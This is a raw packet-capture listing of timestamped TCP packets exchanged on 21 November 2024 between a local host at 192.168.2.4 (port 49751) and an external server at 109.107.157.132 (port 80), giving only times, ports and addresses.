Nov 21, 2024 22:33:26.881989002 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:26.948932886 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:26.948997974 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:26.949007034 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:26.949064970 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:26.950828075 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:26.950882912 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.011415958 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.011482000 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.011665106 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.011720896 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.027404070 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.027453899 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.027548075 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.029103994 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.029166937 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.105631113 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.105696917 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.105724096 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.105746031 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.107357025 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.107413054 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.108051062 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.108110905 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.108187914 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.108233929 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.183897018 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.183969975 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.183976889 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.184020042 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.185743093 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.185790062 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.230350018 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.230424881 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.230484962 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.230535984 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.232212067 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.232292891 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.262100935 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.262172937 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.262217045 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.262254953 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.263921022 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.263992071 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.311109066 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.311222076 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.311290979 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.311346054 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.312999964 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.313090086 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.340410948 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.340529919 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.340591908 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.340626955 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.342304945 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.342374086 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.389719009 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.389736891 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.389852047 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.391264915 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.391388893 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.418992043 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.419084072 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.419161081 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.420972109 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.421025038 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.421056032 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.421070099 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.467698097 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.467763901 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.467803955 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.467880011 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.469554901 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.469628096 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.497327089 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.497390985 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.497673035 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.497838974 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.499216080 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.499269962 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.499320030 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.499367952 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.546156883 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.546226025 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.546257019 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.546300888 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.548024893 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.548080921 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.575753927 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.575809002 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.575911045 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.575963020 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.576729059 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.576778889 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.576832056 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.576901913 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.580636978 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.580688953 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.580693960 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.580733061 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.624245882 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.624317884 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.624360085 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.624429941 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.626108885 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.626162052 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.654386044 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.654443979 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.654578924 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.654671907 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.656225920 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.656275988 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.656295061 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.656332970 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:27.660096884 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:27.660152912 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:28.297331095 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:28.297399044 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:28.297482014 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:28.297482967 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:28.375514984 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:28.375633001 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:28.375754118 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:28.377329111 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:28.377407074 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:28.454020977 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:28.454040051 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:28.454107046 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:28.454152107 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:28.455780029 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:28.455842018 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:28.455888987 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:28.455939054 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:28.459654093 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:28.459712982 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:28.459785938 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:28.459975958 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:28.532098055 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:28.532152891 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:28.532195091 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:28.532979012 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:28.533210039 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:28.533291101 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:28.533324957 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:28.533375978 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:28.537039995 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:28.537101984 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:28.537151098 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:28.537198067 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:28.610594034 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:28.610675097 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:28.610768080 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:28.610820055 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:28.612457991 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:28.612525940 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:28.612627029 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:28.612684965 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:28.616298914 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:28.616364002 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:28.616411924 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:28.616475105 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:28.620202065 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:28.620274067 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:28.654822111 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:28.654937029 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:28.935595036 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:28.935662031 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:28.935662985 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:28.935702085 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.014077902 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.014091015 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.014163971 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.015819073 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.015875101 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.092349052 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.092434883 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.092454910 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.092550039 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.094407082 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.094486952 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.094598055 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.094647884 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.098059893 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.098118067 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.170470953 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.170620918 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.170636892 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.170754910 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.172365904 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.172426939 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.172559977 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.172612906 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.175343990 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.175405025 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.175414085 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.175460100 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.249432087 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.249488115 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.249598980 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.249676943 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.250466108 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.250511885 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.250624895 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.250668049 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.254241943 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.254254103 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.254292011 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.254327059 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.259321928 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.259371042 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.327909946 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.327922106 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.327975988 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.328015089 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.329303026 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.329360008 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.329452038 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.329493999 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.333193064 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.333261967 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.333329916 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.333379030 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.405858994 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.405868053 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.405910015 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.405950069 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.406877041 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.406928062 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.407022953 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.407066107 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.410662889 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.410712004 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.410757065 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.410799026 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.414504051 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.414566994 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.484246016 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.484273911 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.484345913 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.485969067 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.486027002 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.486120939 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.486170053 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.489835978 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.489885092 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.527224064 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.527286053 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.527337074 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.527383089 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.529165030 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.529221058 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.562588930 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.562599897 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.562680960 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.564357996 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.564424038 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.564435959 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.564513922 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.568208933 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.568275928 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.605797052 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.605807066 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.605966091 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.673459053 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.673554897 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.673731089 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.675311089 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.675621033 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.676053047 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.676156998 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.676208973 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.679932117 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.679984093 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.680042028 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.683684111 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.683743954 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.703406096 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.703500032 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.730575085 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.730583906 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.730679035 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.751750946 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.751808882 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.751848936 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.751899958 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.752902031 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.752958059 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.753011942 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.753102064 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.756740093 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.756793976 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.756947041 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.756997108 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.760581970 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.760636091 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.760677099 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.760724068 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.830219984 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.830338955 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.830456018 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.832067966 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.832189083 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.832253933 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.835922956 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.836007118 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.836103916 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.836349964 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.839804888 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.839924097 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.839982033 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.843614101 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.843729973 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.843776941 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.843826056 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.847453117 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.847532988 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.908432961 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.908533096 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.908617020 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.910348892 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.910454035 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.910500050 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.914144039 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.914225101 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.914264917 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.914314032 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.918100119 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.918159962 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.918235064 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.918312073 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.921866894 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.921930075 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.921955109 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.922000885 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.925657034 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.925719976 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.988537073 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.988595963 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:29.988735914 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:29.988889933 CET	49751	80	192.168.2.4	109.107.157.132
